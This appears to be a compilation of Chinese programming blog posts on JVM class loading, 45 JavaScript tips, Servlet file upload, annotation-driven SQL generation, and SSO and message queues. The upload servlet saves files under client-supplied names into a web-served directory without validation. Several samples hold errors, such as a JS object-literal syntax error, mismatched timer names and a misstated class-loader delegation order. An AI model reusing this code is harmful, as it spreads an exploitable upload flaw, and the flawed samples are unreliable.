  目的是确保class文件字节流信息符合虚拟机的要求。





  准备

  为static修饰的变量赋初值，例如int型默认为0，boolean默认为false。





  解析

  虚拟机将常量池内的符号引用替换成直接引用。





  初始化

  初始化是类加载的最后一个阶段，将执行类构造器< init>()方法，注意这里的方法不是构造方法。该方法将会显式调用父类构造器，接下来按照java语句顺序为类变量和静态语句块赋值。




类加载器


对于任意一个类，都需要由加载它的类加载器和这个类本身一同确立其在java虚拟机中的唯一性。举一个例子：


javapackage com.sinaapp.gavinzhang.bean;
import java.io.InputStream;

public class App 
{
    public static void main( String[] args )
    {
        ClassLoader myClassLoader = new ClassLoader() {
            @Override
            public Class<?> loadClass(String name) throws ClassNotFoundException {
                try{
                    String fileName = name.substring(name.lastIndexOf(".")+1)+".class";
                    InputStream is = getClass().getResourceAsStream(fileName);
                    if(is == null)
                    {
                        System.out.println(fileName+ "is not find");
                        return super.loadClass(name);
                    }
                    System.out.println("fileName: "+fileName);
                    byte[] b = new byte[is.available()];
                    is.read(b);
                    return defineClass(name,b,0,b.length);
                }catch (Exception E)
                {
                    throw new ClassCastException(name);
                }

            }
        };
        try {
            Object obj = myClassLoader.loadClass("com.sinaapp.gavinzhang.bean.Resource").newInstance();
            Object obj1  = Class.forName("com.sinaapp.gavinzhang.bean.Resource").newInstance();
            System.out.println(obj instanceof com.sinaapp.gavinzhang.wesound.bean.Resource);
            System.out.println(obj1 instanceof com.sinaapp.gavinzhang.wesound.bean.Resource);
        }catch (Exception e)
        {
            e.printStackTrace();
        }
    }
}



结果为：





可以看到，由自定义的加载类只能获取同包下的class，而系统的class不能被加载，而且由Class.forName()获取的类与自定义加载类得到的类不是同一个类。


根据五种初始化的条件，父类也会被初始化，但是，上边的代码运行结果显示，父类和接口都没有被初始化，这又是怎么回事呢？


系统提供了三种类加载器，分别是：



	启动类加载器（Bootstrap ClassLoader），该加载器会将\lib目录下能被虚拟机识别的类加载到内存中。

	扩展类加载器（Extension ClassLoader），该加载器会将\lib\ext目录下的类库加载到内存。

	应用程序类加载器（Application ClassLoader），该加载器负责加载用户路径上所指定的类库。



我们自定义的ClassLoader继承自应用程序类加载器，当自定义类加载器找不到所加在的类时，会使用启动类加载器进行加载，当启动类加载器加载不到时，由扩展类加载，扩展类加载不到时有应用程序类加载。这也是为什么上边的代码能够成功运行的原因。


三  字节码执行引擎


运行时栈帧结构


http://segmentfault.com/a/1190000002931555  中讲到虚拟机栈是线程私有的，线程中会为运行的方法创建栈帧。





栈帧是虚拟机栈的栈元素，栈帧存储了局部变量表，操作数栈，动态连接，返回地址等信息。每一个方法的调用都对应着一个栈帧在虚拟机栈中的入栈和出栈。



	局部变量表由方法参数，方法内定义的局部变量组成，容量以变量槽（Slot）为最小单位。如果该方法不是static方法，则局部变量表的第一个索引为该对象的引用，用this可以取到。


	操作数栈最开始为空，由字节码指令往栈中存数据和取数据，方法的返回值也会存到上一个方法的操作数栈中。


	动态连接含有一个指向常量池中该栈帧所属方法的引用，持有该引用是为了进行动态分派。


	方法返回地址存放的是调用该方法的pc计数器值，当方法正常返回时，就会把返回值传递到上层方法调用者。当方法中发生没有可被捕获的异常，也会返回，但是不会向上层传递返回值。




方法调用


java是一门面向对象的语言，它具有多态性。那么虚拟机又是如何知道运行时该调用哪一个方法？



  静态分派是在编译期就决定了该调用哪一个方法而不是由虚拟机来确定，方法重载就是典型的静态分派。
动态分派是在虚拟机运行阶段才能决定调用哪一个方法，方法重写就是典型的动态分派。




动态分派的实现：当调用一个对象的方法时，会将该对象的引用压栈到操作数栈，然后字节码指令invokevirtual会去寻找该引用实际类型。如果在实际类型中找对应的方法，且访问权限足够，则直接返回该方法引用，否则会依照继承关系对父类进行查找。实际上，如果子类没有重写父类方法，则子类方法的引用会直接指向父类方法。


基于栈的字节码执行引擎


不管是解释型语言还是编译型语言，机器都无法理解非二进制语言。高级语言转化成机器语言都遵循现代经典编译原理。即执行前对程序源码进行词法和语法分析，构建抽象语法树。C语言等编译型语言会由单独的执行引擎做这些工作，而Java语言等解释型语言语法抽象树由jvm完成。jvm可以选择通过解释器来解释字节码执行还是通过优化器生成机器代码来执行。


常用的两套指令集架构分别是基于栈的指令集和基于寄存器的指令集。


基于栈的指令集更多的通过入栈出栈来实现计算功能，例如1+1


java    iconst_1  ;将1入栈
    iconst_1  ;将1入栈
    iadd      ;将栈顶两个元素取出相加并将结果入栈



基于寄存器的指令集更多的是使用寄存器来进行操作，例如1+1


javamov eax,1 ;向eax中存1
add eax,1 ;eax<-eax+1



总体来说，基于栈的指令集会慢一些，但是它与寄存器无关，更容易实现到处运行的目标。


总结


又到了该总结的时候了，类加载机制面试中很容易被问到，不幸的是，当时我并没有看这方面的知识。


class类文件结构的每一个部分都可以再深入下去，类文件结构是采用结构体的方式存储的，那么怎么知道集合的长度，各个属性又是怎么被标记的。


类加载机制中有且仅有的五种触发初始化的情况。类加载器的分类。


栈帧的结构，以及方法调用。


java语言的方法调用分为静态多分派，动态单分派。


 45个实用的JavaScript小贴士、小技巧和最佳实践
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翻译介绍


翻译标题：45 Useful JavaScript Tips, Tricks and Best Practices


翻译来源：http://modernweb.com/2013/12/23/45-useful-javascript-tips-tricks-and-best-practices/


如有翻译不正确的地方，请在下放评论出反馈。


翻译正文



	第一次声明变量时，请不要忘记使用 var 关键字声明

	
使用 === 代替 ==


[10] === 10    // is false
[10]  == 10    // is true
'10' == 10     // is true
'10' === 10    // is false
 []   == 0     // is true
 [] ===  0     // is false
 '' == false   // is true but true == "a" is false
 '' ===   false // is false 




	undefined, null, 0, false, NaN, '' (空字符串) 转成布尔值都为false.

	每行代码的末尾最好都加上个分号

	
最好给对象都添加上构造函数


function Person(firstName, lastName){
    this.firstName =  firstName;
    this.lastName = lastName;        
}  

var Saad = new Person("Saad", "Mousliki");




	在使用typeof,instanceof和constructor尽量小心。

	
善用匿名自调用函数(IIFE)


(function(){
    // some private code that will be executed automatically
})();  
(function(a,b){
    var result = a+b;
    return result;
})(10,20)




	
在一个数组中获取一个随机的项目


var items = [12, 548 , 'a' , 2 , 5478 , 'foo' , 8852, , 'Doe' , 2145 , 119];
var  randomItem = items[Math.floor(Math.random() * items.length)];




	
在指定范围内获取一个随机数


var x = Math.floor(Math.random() * (max - min + 1)) + min;




	
生成一个0到指定最大值的数字数组。


var numbersArray = [] , max = 100;

for( var i=1; numbersArray.push(i++) < max;);  // numbers = [1,2,3 ... 100] 




	
随机生成指定长度的字符串


function generateRandomAlphaNum(len) {
    var rdmString = "";
    for( ; rdmString.length < len; rdmString  += Math.random().toString(36).substr(2));
    return  rdmString.substr(0, len);

}




	
对一个数字数组随机排序


var numbers = [5, 458 , 120 , -215 , 228 , 400 , 122205, -85411];
numbers = numbers.sort(function(){ return Math.random() - 0.5});




	
去掉字符串的前后空格


String.prototype.trim = function(){return this.replace(/^\s+|\s+$/g, "");};  




	
将一个数组添加到另一个数组


var array1 = [12 , "foo" , {name "Joe"} , -2458];

var array2 = ["Doe" , 555 , 100];
Array.prototype.push.apply(array1, array2);




	
将arguments转换成数组


var argArray = Array.prototype.slice.call(arguments);




	
验证给定参数是否为数字


function isNumber(n){
    return !isNaN(parseFloat(n)) && isFinite(n);
}




	
验证给定的参数是否为数组


function isArray(obj){
    return Object.prototype.toString.call(obj) === '[object Array]' ;
}




	
获取数字数组中的最大值和最小值


var  numbers = [5, 458 , 120 , -215 , 228 , 400 , 122205, -85411]; 
var maxInNumbers = Math.max.apply(Math, numbers); 
var minInNumbers = Math.min.apply(Math, numbers);




	
清空一个数组


var myArray = [12 , 222 , 1000 ];  
myArray.length = 0; // myArray will be equal to [].




	
不要使用delete来删除数组中的项目


请使用splice来代替deletel来删除数组中的项目，使用delete会用undefinedl来替换数组中被删除的哪一项。


delete


var items = [12, 548 ,'a' , 2 , 5478 , 'foo' , 8852, , 'Doe' ,2154 , 119 ]; 
items.length; // return 11 
delete items[3]; // return true 
items.length; // return 11 
/* items will be equal to [12, 548, "a", undefined × 1, 5478, "foo", 8852, undefined × 1, "Doe", 2154,       119]   */



splice


var items = [12, 548 ,'a' , 2 , 5478 , 'foo' , 8852, , 'Doe' ,2154 , 119 ]; 
items.length; // return 11 
items.splice(3,1) ; 
items.length; // return 10 
/* items will be equal to [12, 548, "a", 5478, "foo", 8852, undefined × 1, "Doe", 2154,       119]   */




	
用长度来截取一个字符串


var myArray = [12 , 222 , 1000 , 124 , 98 , 10 ];  
myArray.length = 4; // myArray will be equal to [12 , 222 , 1000 , 124].




	
在条件判断里面使用逻辑AND或者OR


var foo = 10;  
foo == 10 && doSomething(); // 等效 if (foo == 10) doSomething(); 
foo == 5 || doSomething(); // 等效 if (foo != 5) doSomething();



默认值取值


function doSomething(arg1){ 
    arg1 = arg1 || 10; // 如果arg1没有被赋值，则取10
}




	
使用map()函数来遍历数组


var squares = [1,2,3,4].map(function (val) {  
    return val * val;  
}); 
// squares will be equal to [1, 4, 9, 16]       




	
获取指定精度的数字


var num =2.443242342;
num = num.toFixed(4);  // num will be equal to 2.4432




	
浮点数小数点的问题


0.1 + 0.2 === 0.3 // is false 
9007199254740992 + 1 // is equal to 9007199254740992  
9007199254740992 + 2 // is equal to 9007199254740994



你可以使用toFixed()或者toPrecision()来解决这类问题



	
当使用for-in来迭代一个对象时，检查其属性


for (var name in object) {  
    if (object.hasOwnProperty(name)) { 
        // do something with name                    
    }  
}



这段代码可以用来避免迭代自己内部的属性



	
逗号运算符


var a = 0; 
var b = ( a++, 99 ); 
console.log(a);  // a will be equal to 1 
console.log(b);  // b is equal to 99




	
当一个变量需要被查询或者计算的时候，可以把它缓存起来


var navright = document.querySelector('#right'); 
var navleft = document.querySelector('#left'); 
var navup = document.querySelector('#up'); 
var navdown = document.querySelector('#down');




	
使用isFinite()来验证一个参数在传递之前


isFinite(0/0) ; // false 
isFinite("foo"); // false 
isFinite("10"); // true 
isFinite(10);   // true 
isFinite(undefined);  // false 
isFinite();   // false 
isFinite(null);  // true  !!! 




	
避免在数组中使用负值索引


var numbersArray = [1,2,3,4,5]; 
var from = numbersArray.indexOf("foo") ;  // from is equal to -1 
numbersArray.splice(from,2);    // will return [5]




	
序列和解析一个JSON


var person = {name :'Saad', age : 26, department : {ID : 15, name : "R&D"} }; 
var stringFromPerson = JSON.stringify(person); 
/* stringFromPerson is equal to "{"name":"Saad","age":26,"department":{"ID":15,"name":"R&D"}}"   */ 
var personFromString = JSON.parse(stringFromPerson);  
/* personFromString is equal to person object  */




	
避免使用 eval() 桌和 Function 构造函数


var func1 = new Function(functionCode);
var func2 = eval(functionCode);




	避免使用使用 with()


	避免使用 for-in 来迭代一个数组

	对于setTimeout() 和 setInterval(),最好传递函数而不是字符串。

	使用switch/case来替代多重if/else


	
把switch/case用在数据分类上


function getCategory(age) {  
    var category = "";  
    switch (true) {  
        case isNaN(age):  
            category = "not an age";  
            break;  
        case (age >= 50):  
            category = "Old";  
            break;  
        case (age <= 20):  
            category = "Baby";  
            break;  
        default:  
            category = "Young";  
            break;  
    };  
    return category;  
}  
getCategory(5);  // will return "Baby"




	
创建一个对象，并且他的原型是我们指定的对象。


function clone(object) {  
    function OneShotConstructor(){}; 
    OneShotConstructor.prototype= object;  
    return new OneShotConstructor(); 
} 
clone(Array).prototype ;  // []




	
一个 HTML 实体替换函数


function escapeHTML(text) {  
    var replacements= {"<": "&lt;", ">": "&gt;","&": "&amp;", "\"": "&quot;"};                      
    return text.replace(/[<>&"]/g, function(character) {  
        return replacements[character];  
    }); 
}




	
避免在循环中使用 try-catch-finally


不好的用法：


for (i = 0, len = object.length; i <len; i++) {  
    try {  
        // do something that throws an exception 
    }  
    catch (e) {   
        // handle exception  
    } 
}



好的用法：


var object = ['foo', 'bar'], i;  
try { 
    for (i = 0, len = object.length; i <len; i++) {  
        // do something that throws an exception 
    } 
} 
catch (e) {   
    // handle exception  
} 




	
对XMLHttpRequests设置定时失效的时间


var xhr = new XMLHttpRequest (); 
xhr.onreadystatechange = function () {  
    if (this.readyState == 4) {  
        clearTimeout(timeout);  
        // do something with response data 
    }  
}  
var timeout = setTimeout( function () {  
    xhr.abort(); // call error callback  
}, 60*1000 /* timeout after a minute */ ); 
xhr.open('GET', url, true);  

xhr.send();




	
解决 WebSocket的失效时间


var timerID = 0; 
function keepAlive() { 
    var timeout = 15000;  
    if (webSocket.readyState == webSocket.OPEN) {  
        webSocket.send('');  
    }  
    timerId = setTimeout(keepAlive, timeout);  
}  
function cancelKeepAlive() {  
    if (timerId) {  
        cancelTimeout(timerId);  
    }  
}




	
记住使用原生的运算符代替函数调用。使用VanillaJS.


示例demo

var min = Math.min(a,b); 
A.push(v);

使用下面代替上面的demo

var min = a < b ? a : b; 
A[A.length] = v;




	不要忘记在编码的时候规范美化。在部署的时候用JSLIint和压缩


	
JavaScript 是令人敬畏。学习JavaScript最好的资源





 Java Servlet实现文件上传

作者：Michael_Lin

来源： Java Servlet实现文件上传



                    
文件上传可以说是Web应用中很常用的一块，前几天打算研究一下HTML5提供的FileReader API，并且用Tomcat作为后端来实验大文件的上传（只是学校的课程作业必须用Java写，都不允许使用最好的编程语言php>.<）。可Java Servlet与php这种喜闻乐见的Web码农语言不同，并没有提供一个很简单的处理文件上传的API，所以还捣鼓了蛮久，也对一般的文件上传的HTML控件和实现原理稍微有了一点了解。


对面宿舍的一位同学说我很久没更了不太好，于是我就写一篇，谢谢他的提醒。


首先，我们都知道最常见的HTML的文件上传控件是喜闻乐见的<input type="file">，但一定要搭配form的属性enctype="multipart/form-data"，服务器上要有一个接收上传的cgi或者别的什么，既然我们用java写，就叫uploadServlet。于是有了一个如下的常见的上传表单。


<form action="uploadServlet" enctype="multipart/form-data" method="POST">
    <input name="password" type="password" />
    <input name="File1" type="file" />
    <input type="submit" value="Upload" />
</form>



然后我们在后端处理。由于Java Servlet的API是没有提供什么$_FILES数组这样傻瓜式的文件操控方式，我们必须自己处理request。我们不妨先把收到的request输出到文件当中，看看Servlet会收到什么，再想想怎么处理。放这样一个servlet的代码：


import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class UploadServlet extends HttpServlet{
    @Override
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        response.setContentType("text/plain;charset=utf-8");
        PrintWriter writer=response.getWriter();
        InputStream in=request.getInputStream();
        File f = new File("/tmp/upload");
        //把文件存到/tmp/upload
        FileOutputStream fout = new FileOutputStream(f);
        byte[] b=new byte[1024];
        int n=0;
        while ((n=in.read(b))!=-1){
            fout.write(b,0,n);
        }
        fout.close();
        in.close();
        writer.println("Finished uploading files!");
        writer.close();
    }
}



有了Servlet就拖出去跑一跑。这里我的表单不仅会发送文件，还会发送一个密码域。如果我随便发一个文本文件，那么我得到了这样的结果。


多上传几次还会发现那一堆横杠开头的数字会变动。这下不好玩了，虽然我们可以看到我们上传的数据，但要解析它有点过于复杂了。这个请求是依据RFC1867来写的，虽然有标准可依，但我们这么懒怎么会去依照标准写一个解析器呢？


于是我们需要请出Apache开发的文件上传处理库Commons FileUpload。这个网站提供了最新版的下载链接和基本的使用指南。文档讲得过于全面了，而我们一般不需要那么多功能，够用就好。翻了几篇教程，写出来了一个简单的文件上传接收代码。


javaimport javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;
import org.apache.commons.fileupload.*;
import org.apache.commons.fileupload.servlet.*;
import org.apache.commons.fileupload.disk.*;



首先需要多装载三个库，以及一个java.util.List，因为到时候处理的时候，Commons FileUpload会把搞成一个List返回回来，我们需要接收这个List并处理解析它。


public class UploadServlet extends HttpServlet{
    private String filepath;
    private String temppath;
    private String buf;
    public void init(ServletConfig config) throws ServletException{
        super.init(config);
        ServletContext context=getServletContext();
        filepath=context.getRealPath("/"+config.getInitParameter("filepath"));
        temppath=context.getRealPath("/"+config.getInitParameter("temppath"));
    }



为了方便维护，我把保存上传文件的目录用Init Parameter的方式写到web.xml里面去，然后在这个地方读出来。我们需要一个保存上传文件的目录和一个用来做缓存的临时目录。如果你接收上传文件之后不打算保存而是直接拿去处理，也没有问题，但是一定要有一个缓存目录，在后面有用。


接下来是真正激动人心的处理上传的代码了。我懒得写doGet了所以就只有一个doPost。


     @Override
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        response.setContentType("text/plain;charset=utf-8");
        PrintWriter writer=response.getWriter();
        int count=0;
        try{
            DiskFileItemFactory diskFactory = new DiskFileItemFactory();
            diskFactory.setSizeThreshold(4 *1024 );
            diskFactory.setRepository(new File(temppath));



这里我们开了一个diskFactory，就是FileUpload所需要使用的缓存，当内存存不下上传的文件的时候，它会自动写入缓存目录。通过setSizeThreshold方法可以设置内存的使用上限，也就是当内存用了这么多却还存不下，就开始写缓存。显然这个值很大程度上会决定这个Servlet的效率。


    ServletFileUpload upload = new ServletFileUpload(diskFactory);
    upload.setSizeMax(4 * 1024 * 1024);
    List fileItems = upload.parseRequest(request);
    Iterator iter = fileItems.iterator();



这里我们就真正建了一个ServletFileUpload的实例upload来处理文件的上传。可以设置上传文件的最大大小。然后把request对象直接交给upload来解析，它会返回一个一个List，这个List的每一项实际上是一个FileItem对象，后面就要用迭代器处理这个列表。


    while (iter.hasNext()){
        FileItem item = (FileItem) iter.next();
        if (item.isFormField()){
            writer.println(item.getFieldName()+" : "+item.getString());
        }



要注意的是ServletFileUpload也会处理非文件的信息，可以用isFormField方法来检查，然后将信息获取出来。但这在这里不是重点，只是必须要处理掉而已。


        else{
            String filename = item.getName();
            filename = filename.substring(
            filename.lastIndexOf("\\")+1,filename.length());
            File uploadFile = new File(filepath+"/"+filename);
            item.write(uploadFile);
            writer.println("Get file:"+ filename);
            writer.println(" filetype: "+item.getContentType());
            count++;
        }
        }
    } catch (Exception e){
        e.printStackTrace();
    }
    writer.println("Finished uploading files!");
    writer.close();
}
}



处理文件的代码就这么点，如果还要说什么的话，就是每个文件的FileItem对象不仅可以用write方法来直接写到什么文件里面去，也可以用getInputStream方法得到一个输入流来解析，或者用get方法直接读到一个byte数组里面去。可以说这个库提供了一个很方便的方法解析上传的文件。


最后提一下，Apache Commons是一个Java增强库，提供了大量的优质Java资源库，涉及很多开发领域。如果不出意外，应该我会在近期写一篇关于JavaScript FileReader的blog，敬请期待。


参考的文章：
Servlet实现基本文件上传
在Servlet中使用开源fileupload包实现文件上传功能


 Java 注解入门 自动生成SQL语句

作者：Gavin要加油

来源： Java 注解入门 自动生成SQL语句



                    
引言


在用hibernate的时候发现idea能自动生成JavaBean，同时带有一些注解，这引起了我的好奇。当在学习Android的时候，我发现XUtils这个工具包中的DBUtils也能够使用类似hibernate的注解。于是乎在java编程思想中找了找有关注解的用法。


一 注解定义


注解（也称为元数据）为我们在代码中添加信息提供了一种形式化的方法，使我们可以在稍后某个时刻非常方便的使用这些数据。注解来源于C#之类的其他语言。


注解的语法比较简单，除了@符号外，它与java的固有语法一致。javaSE5中内置了三种注解：



  @Override：定义覆盖超类，当覆写对应不上被覆盖的方法，编译器发出错误提示。





  @Deprecated：当使用了该注解，即表示这个方法已经不推荐被使用。





  @SuppressWarnings：关闭不当的编译器警告。




二 基本语法


我们使用自定义的注解对一个方法进行注解：


javapublic class Testable{
    public void execute()
    {
        System.out.println("execute...");
    }
    @WETest
    void taskStart()
    {
        execute();
    }
}



在上边的代码中，我们对taskStart方法使用了注解，接下来我们对WETest注解进行定义：


javaimport java.lang.annotation.*;

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface WETest{}



三 定义注解


我们给上边的注解添加一些内容：


javaimport java.lang.annotation.*;

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface WETest{
    public int id();
    public String Notes() default "there is no Notes";
}



同样，我们对Testable类使用最新的注解：


javapublic class Testable{
    @WETest(id=666)
    public void execute()
    {
        System.out.println("execute...");
    }
    @WETest(id=666,Notes="this is a method")
    void taskStart()
    {
        execute();
    }
}



注解就是这么使用的，当注解内容没有填写时，他会使用默认的值，如execute方法，他没有定义Notes，那么Notes默认值为"there is no Notes"。


四 元注解


我们看到注解上边有两行内容，它们是元注解，专门对注解的解释。元注解一共有四种，分别是：



  @Target：表示该注解可以用到哪些地方，ElementType，CONSTRUCTOR构造器声明，FIELD域声明（包括enum实例），LOCAL_VARIABLE局部变量声明，METHOD方法，PACKAGE包，PARAMETER参数，TYPE类、接口或enum。





  @Retention：表示需要在什么级别上使用，RetentionPolicy，SOURCE注解会被编译器丢掉，CLASS在class文件中可用会被VM抛弃，RUNTIME在VM运行期也会保留可以通过反射获取注解信息。





  @Documented：将注解包含在Javadoc中。





  @Inherited：允许子类继承父类中的注解。




五 通过注解反射生成SQL语句


接下来，我用一个例子来解释注解的作用。先编写一些注解定义：


java//DBTable.java            用来生成数据表
package annotations;

import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface DBTable {
    public String name() default "";
}

//Constraints.java        用来定义约束项
package annotations;

import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;

@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
public @interface Constraints {
    boolean primarykey() default false;
    boolean allownull() default true;
}

//PrimaryKey.java        将Constraints中的primarykey定义为真，表示为主键
package annotations;

import java.lang.annotation.*;

@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
public @interface PrimaryKey {
    Constraints constraints() default @Constraints(primarykey = true);
}

//SQLInteger.java         定义列的类型
package annotations;

import java.lang.annotation.*;

@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
public @interface SQLInteger {
    String name() default "";
    Constraints constraints() default @Constraints;
}

//SQLString.java        定义列的类型
package annotations;

import java.lang.annotation.*;


@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
public @interface SQLString {
    int value() default 64;
    String name() default "";
    Constraints constraints() default @Constraints;
}
   接下来写一个javabean，使用上述注解：


//User.java
import annotations.Constraints;
import annotations.DBTable;
import annotations.SQLInteger;
import annotations.SQLString;

@DBTable(name="user")
public class User {
    @SQLInteger(name="id",constraints = @Constraints(primarykey=true))
    public Integer id;
    @SQLString(value=30)
    public String name;
    @SQLString(name="passwd",constraints=@Constraints(allownull=false))
    public String password;

    /*可以不用
    public void setId(Integer id) {
        this.id = id;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    public Integer getId() {
        return id;
    }
    public String getName() {
        return name;
    }
    public String getPassword() {
        return password;
    }*/
}



我们看到注解中可以使用注解，在SQLInteger中我们使用了Constraints注解。


接下来我们写一个注解处理器：


java//Test.java
import java.lang.annotation.Annotation;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

import annotations.Constraints;
import annotations.DBTable;
import annotations.SQLInteger;
import annotations.SQLString;

public class Test {

    public static String getConstraints(Constraints con)
    {
        String constraints = "";
        if(!con.allownull())
        {
            constraints +=" NOT NULL";
        }
        if(con.primarykey())
        {
            constraints += " PRIMARY KEY";
        }
        return constraints;
    }

    public static void main(String[] args) throws ClassNotFoundException {
        Scanner s = new Scanner(System.in);
        String name = s.next();                                    //从控制台输入一个类名，我们输入User即可
        Class<?> cl = Class.forName(name);                         //加载类，如果该类不在默认路径底下，会报 java.lang.ClassNotFoundException
        DBTable dbTable = cl.getAnnotation(DBTable.class);         //从User类中获取DBTable注解
        if(dbTable == null){                                       //如果没有DBTable注解，则直接返回，我们写了，当然有
            return;
        }
        String tableName = (dbTable.name().length()<1)?cl.getName():dbTable.name();//获取表的名字，如果没有在DBTable中定义，则获取类名作为Table的名字
        List<String> columnDefs = new ArrayList<String>();
        for(Field field : cl.getDeclaredFields())                  //获取声明的属性
        {
            String columnName = null;
            Annotation[] anns = field.getDeclaredAnnotations();//获取注解，一个属性可以有多个注解，所以是数组类型
            if(anns.length < 1)
            {
                continue;
            }
            if(anns[0] instanceof SQLInteger)                //判断注解类型
            {
                SQLInteger sInt = (SQLInteger)anns[0];
                columnName = (sInt.name().length()<1)?field.getName():sInt.name();//获取列名称与获取表名一样
                columnDefs.add(columnName+" INT"+getConstraints(sInt.constraints()));//使用一个方法，自己写的getConstraints(Constraints constraints)获取列定义
            }
            if(anns[0] instanceof SQLString)
            {
                SQLString sStr = (SQLString)anns[0];
                columnName = (sStr.name().length()<1)?field.getName().toUpperCase():sStr.name();
                columnDefs.add(columnName + " VARCHAR("+sStr.value()+")"+getConstraints(sStr.constraints()));
            }
        }
        StringBuilder createCommand = new StringBuilder("CREATE TABLE "+tableName+"(");
        for(String columnDef :columnDefs)
        {
            createCommand.append("\n    "+columnDef+",");
        }
        String tableCreate = createCommand.substring(0,createCommand.length()-1)+"\n);";
        System.out.println(tableCreate);                        //打印出来
    }

}



我们可以采用上述方法动态的处理一些数据，例如创建数据表。


六 总结


注意:注解不支持继承例如 extends @xxx。
     注解的default默认值不可以为null



使用注解可以减少对xml等外部文件的依赖，使得对类的定义可以在一处实现，避免了一个类两处定义的麻烦。spring和hibernate就采用的这样的方法。
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前言

很久都没有写博客了，这次为大家简单介绍两个在WEB开发中经常使用的概念——单点登录和消息队列以及具体到J2EE中的一些实现方案。本文原创性的工作比较少，主要是一些总结概括和自己的理解。

单点登录SSO

SSO的业务场景

所谓单点登录就是在一个站点登录之后可以授信给其他站点，这样就可以做到一次登录，到处操作。单点登录的实质就是安全上下文（Security Context）或凭证（Credential）在多个应用系统之间的传递或共享。

大部分的网站采用Cookie作为登录的一种简单实现方案，在同一个一级域名下面，这样做并无问题，不需要对各个子系统分别验证。但是Cookie无法跨域传递。将用户的登录、凭证取得等解耦处理单独作为一个子系统是合理的选择。

SSO的核心要素


	共享同一个身份认证系统，也就是说所有站点的身份验证操作在同一个系统下完成


	每个子系统从共同的身份认证系统中取得用户凭证，包含用户的身份、权限信息等




示意图如下：



SSO的一种简单实现方案

下面以采用Cookie的一种方案为例来解释：

我们首先定义授信服务器A，受信服务器B，客户C；当前的业务是B需要验证C的身份。需要注意的是B和C都会保有session来记录C的登录状态，均会向C 的Header中写入对应自己域名的Cookie以存储凭证信息。Cookie中含有tokenId来标示C，也就是说对于A和B他们的Cookie中对应于同一个C，其tokenId应该一致。

C向B发起请求后，会有以下几种情形：


	B含有session，C含有Cookie，且session和Cookie中的token一致，那么不需要向A求助


	
C中对于B无Cookie或Cookie过期或session与Cookie不一致，将向A发起请求。之后根据A的情形，有以下情况：


	A中session与C中Cookie的token一致，重新生成凭证信息返回给B，B重新写入Cookie与session


	A中Cookie过期或信息不一致，将重定向到登录页面






	对于登录情形，A将更新Cookie与session，然后C再向B发起请求，这时就会变成2中第一种情况，导致A和B的信息完成同步。




消息队列

MQ的业务场景

消息队列本身是简单的，可以直接看做一个队列，重点是如何定义存储在队列中的数据格式，以满足我们对应的操作需求。MQ常常应用于那些并发量大而对于实时性要求不高的情况。举个例子，比如一个用户量较大的社交网站的评论发布，为什么这么说呢？对于这个任务，队列中只用存储评论相关信息，对于从队列中取的一方，只需要进行插入操作，符合前面所说的并发量大且可以有延时，同时并不难实现。

MQ的两种模式

消息队列在WEB开发中主要有两种模式：


	生产者/消费者模式：对于一则消息，只有一个消费者线程会去处理它，适用于我们上面所说的评论系统


	发布者/订阅者模式：对于所有订阅者，它可以读取所有在它加入之后发布的消息




在J2EE中加入消息队列，我个人认为应该是这样的：对于特定的HTTP请求，调用生产者/发布者的接口，入队必要消息，这个并不困难。大有蹊跷的我觉得在于处理消息的一方，可以实现listener将其交由容器管理，也可以自己开辟池来调度。举例来说明，对于前者Spring-redis实现的pub/sub模式队列就是直接在配置文件中设定RedisListener的实现类，对于后者，你可以直接独立出来写离线脚本来监听队列。

MQ的实现方案

目前业界有比较成熟的MQ解决产品，如下：


	RabbitMQ


	ActiveMQ


	kafka


	Redis




MQ的Spring+Redis实现简单示例

在Pom.xml中加入以下依赖

    <dependency>
        <groupId>org.springframework.data</groupId>
        <artifactId>spring-data-redis</artifactId>
        <version>1.4.2.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-pool2</artifactId>
        <version>2.3</version>
    </dependency>
    <dependency>
        <groupId>redis.clients</groupId>
        <artifactId>jedis</artifactId>
        <version>2.6.2</version>
    </dependency> 

在ApplicationContext.xml的头部插入schema

xmlns:redis="http://www.springframework.org/schema/redis"

在ApplicationContext中加入Redis的配置


    <!-- 配置redis池，依次为最大实例数，最大空闲实例数，(创建实例时)最大等待时间，(创建实例时)是否验证 -->
    <bean id="jedisPoolConfig" class="redis.clients.jedis.JedisPoolConfig">
        <property name="maxTotal" value="${redis.maxTotal}"/>
        <property name="maxIdle" value="${redis.maxIdle}"/>
        <property name="maxWaitMillis" value="${redis.maxWaitMillis}"/>
        <property name="testOnBorrow" value="${redis.testOnBorrow}"/>
    </bean>


    <!-- 配置数据源-->
    <bean id="redisConnectionFactory" class="org.springframework.data.redis.connection.jedis.JedisConnectionFactory">
        <property name="hostName" value="127.0.0.1"></property>
        <property name="port" value="6379"></property>
        <property name="usePool" value="true"></property>
    </bean>    

    <!-- 配置数据操作 -->
    <bean id="redisTemplate" class="org.springframework.data.redis.core.RedisTemplate">
        <property name="connectionFactory" ref="redisConnectionFactory"></property>
    </bean>        
    <bean id="jdkSerializer" class="org.springframework.data.redis.serializer.JdkSerializationRedisSerializer" />
    

    <bean id="messageListener" class="org.springframework.data.redis.listener.adapter.MessageListenerAdapter">
        <property name="delegate" ref="messageDelegateListener" /> <!--这里的messageDelegateListener在后面的文件中注解的，这里对应的具体消息处理类的实现-->
        <property name="serializer" ref="jdkSerializer" />
    </bean>     
    
